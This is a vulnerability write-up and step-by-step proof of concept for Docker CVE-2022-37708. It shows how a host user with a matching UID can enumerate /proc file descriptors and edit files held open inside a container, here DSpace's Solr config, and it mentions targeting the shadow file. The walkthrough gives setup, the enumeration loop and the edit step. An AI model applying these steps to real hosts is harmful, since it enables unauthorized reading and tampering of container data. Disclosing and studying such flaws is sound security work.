
Docker CVE-2022-37708
Docker CVE-2022-37708.
This exploit relies on how the UNIX filesystem has UID and GID on files that Docker shares between the Host running the Docker and the Client being run within the Docker as well as relies on the nature of how Process ID ownership works.
This can be done in virtually any language that provides file descriptors access. The /proc/ directory happens to expose this, making this very easy to perform using a shell commands.
Consider a computer that is providing a e-mail service for multiple users. This e-mail service is run inside a self-contained distribution running inside of Docker on the host. The self-contained distribution is considered the "client system". The system in which Docker is running on is considered the "host system". The "host system" has different services on it, such as "DBUS" for providing a message-bus. For security reasons, the "DBUS" message bus is run as an unprivileged user "messagebus" and has UID 123. The "messagebus" user has no access to Docker and has no access to the "client system". For security reasons, the "client system" runs the e-mail processing as a non-root user "emailservice" and has the UID 123.
Notice how I designated the "messagebus" as having an UID of 123 and also the "emailservice" as having a UID 123. This is not normally a problem because these are two separate systems (the "client system" and the "host system") and their UIDs and user mappings have no relationship to each other.
If at any point in time the "emailservice" opens up a random e-mail to process, the "messagebus" would have the opportunity to both see and edit that file. Because the "messagebus" user is completely outside of the "client system", the "client system" would never know that this file is potentially being read and written to.
This can be even more dangerous if the "emailservice" read the systems shadow file to validate some username and password combination. The "messagebus" would then have full read and write access to the shadow file within the "client system" for the duration in time in which that file is open within the "client system".
An easy way to perform the exploit is to just PID dial the /proc/ directory for pid files.
A simple bash script in an infinite loop can periodically look for files being opened.
for i in /proc/* ; do if [[ -d $i/fd ]] ; then ls -lh $i/fd ; fi ; done
There are two critical parts of the exploit that makes it hard to exploit.
For the first case, an infinite loop and some script magic can alleviate this. For the second case, a specially crafted distribution or a well known distribution can rule out the luck part. If a system has pre-defined UIDs then it should be possible to predict what UID outside of the "client system" is needed.
Using Vagrant Debian-10 (Buster) virtual machine to run as the "host system" to test the explot:
Vagrant.configure("2") do |config|
config.vm.box = "generic/debian10"
config.vm.provider "virtualbox" do |vb|
vb.memory = 4096
vb.cpus = 2
vb.name = "Wargames"
end
config.vm.synced_folder "/tmp/files", "/host"
end
Inside the "host system", get the latest version of Docker and follow the instructions here:
The example "client system" is an open-source product hosting on Github called DSpace that provides a docker-compose file:
Now clone Dspace, and run docker compose:
# git clone https://github.com/DSpace/DSpace.git
# cd DSpace
# docker compose up
There are several images created by this project, but lets focus on "dspace_solr_data".
Lets confirm directory traversal is protected:
# sudo ls -ld /var/lib/docker
drwx--x--- 15 root root 4096 May 6 13:49 /var/lib/docker
Lets look at the file I want to exploit:
# sudo find /var/lib/docker/volumes/ -name solr.xml
/var/lib/docker/volumes/dspace_solr_data/_data/solr.xml
/var/lib/docker/volumes/0a6232a5c6df8c4a6c2f1925bb1fc0fd8430523aac37ced46d3ee75b5ef4b70e/_data/data/solr.xml
# sudo ls -ld $(sudo find /var/lib/docker/volumes/ -name solr.xml)
-rw-rw---- 1 8983 root 2427 Apr 25 20:59 /var/lib/docker/volumes/0a6232a5c6df8c4a6c2f1925bb1fc0fd8430523aac37ced46d3ee75b5ef4b70e/_data/data/solr.xml
-rw-rw---- 1 8983 root 2427 Apr 25 20:59 /var/lib/docker/volumes/dspace_solr_data/_data/solr.xml
This tells us that our lucky user needs to happen to have a UID of 8983 to be able to exploit this.
Lets create this lucky user, and call him "Lightman".
# sudo useradd -u 8983 -d /home/Lightman/ -m Lightman
Now lets look at those files:
# sudo ls -ld $(sudo find /var/lib/docker/volumes/ -name solr.xml)
-rw-rw---- 1 Lightman root 2427 Apr 25 20:59 /var/lib/docker/volumes/0a6232a5c6df8c4a6c2f1925bb1fc0fd8430523aac37ced46d3ee75b5ef4b70e/_data/data/solr.xml
-rw-rw---- 1 Lightman root 2427 Apr 25 20:59 /var/lib/docker/volumes/dspace_solr_data/_data/solr.xml
For Lightman to exploit this, not only does Lightman have to own the files, some process WITHIN the "client system" needs to have the file open.
For the purposes of proving this exploit, we are going to use tail -F on the solr.xml file inside of the "client system".
Do this in a separate terminal, logged into the "host masystemchine" as the vagrant user.
Figure out the correct container:
# docker ps -a
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
...
c4b06050ef46 solr:8.11-slim "/bin/bash -c 'init-…" 11 minutes ago Up 11 minutes 0.0.0.0:8983->8983/tcp dspacesolr
Now connect to solr:8.11-slim.
# docker run -it solr:8.11-slim bash
# id
uid=8983(solr) gid=8983(solr) groups=8983(solr)
The solr user does indeed have UID 8983.
Now open the solr.xml file and keep it open.
# tail -F /var/solr/data/solr.xml
Great, everything is setup for this Lightman user to war dial the for file descriptors.
In a separate terminal. logged into the "host system" as the vagrant user, switch to the Lightman user.
# sudo su - Lightman
# id
uid=8983(Lightman) gid=8983(Lightman) groups=8983(Lightman)
Use /proc to dial all of the open file descriptors:
# ls /proc/*/fd/* -ld
lrwx------ 1 Lightman Lightman 64 May 6 14:17 /proc/12622/fd/0 -> /dev/pts/0
lrwx------ 1 Lightman Lightman 64 May 6 14:17 /proc/12622/fd/1 -> /dev/pts/0
lrwx------ 1 Lightman Lightman 64 May 6 14:17 /proc/12622/fd/2 -> /dev/pts/0
lrwx------ 1 Lightman Lightman 64 May 6 14:22 /proc/12622/fd/255 -> /dev/pts/0
lrwx------ 1 Lightman Lightman 64 May 6 14:22 /proc/12683/fd/0 -> /dev/pts/0
lrwx------ 1 Lightman Lightman 64 May 6 14:22 /proc/12683/fd/1 -> /dev/pts/0
lrwx------ 1 Lightman Lightman 64 May 6 14:22 /proc/12683/fd/2 -> /dev/pts/0
lr-x------ 1 Lightman Lightman 64 May 6 14:22 /proc/12683/fd/3 -> /var/solr/data/solr.xml
lr-x------ 1 Lightman Lightman 64 May 6 14:22 /proc/12683/fd/4 -> anon_inode:inotify
lrwx------ 1 Lightman Lightman 64 May 6 14:22 /proc/12728/fd/0 -> /dev/pts/3
lrwx------ 1 Lightman Lightman 64 May 6 14:22 /proc/12728/fd/1 -> /dev/pts/3
lrwx------ 1 Lightman Lightman 64 May 6 14:22 /proc/12728/fd/10 -> /dev/tty
lrwx------ 1 Lightman Lightman 64 May 6 14:22 /proc/12728/fd/2 -> /dev/pts/3
lrwx------ 1 Lightman Lightman 64 May 6 14:23 /proc/self/fd/0 -> /dev/pts/3
lrwx------ 1 Lightman Lightman 64 May 6 14:23 /proc/self/fd/1 -> /dev/pts/3
lrwx------ 1 Lightman Lightman 64 May 6 14:23 /proc/self/fd/2 -> /dev/pts/3
lrwx------ 1 Lightman Lightman 64 May 6 14:23 /proc/thread-self/fd/0 -> /dev/pts/3
lrwx------ 1 Lightman Lightman 64 May 6 14:23 /proc/thread-self/fd/1 -> /dev/pts/3
lrwx------ 1 Lightman Lightman 64 May 6 14:23 /proc/thread-self/fd/2 -> /dev/pts/3
As you can see, we have two matches:
lr-x------ 1 Lightman Lightman 64 May 6 14:22 /proc/12683/fd/3 -> /var/solr/data/solr.xml
lr-x------ 1 Lightman Lightman 64 May 6 14:22 /proc/12683/fd/4 -> anon_inode:inotify
Notice that the path /var/solr/data/solr.xml does not actually exist on the "host system".
Pay close attention to the terminal that you are running tail -F on as you do this.
Edit the file by directly opening via the proc path:
# vim /proc/12683/fd/3
I go to the bottom of the file, write Hello World, and save the change.
You should see, within the "client system", the file is also updated.
Lightman has successfully edited a file that Lightman has no proper read/write access to nor has any file directory traversal access to. The file is actually within a Docker client running under a different distribution that does not have a "Lightman" user on it.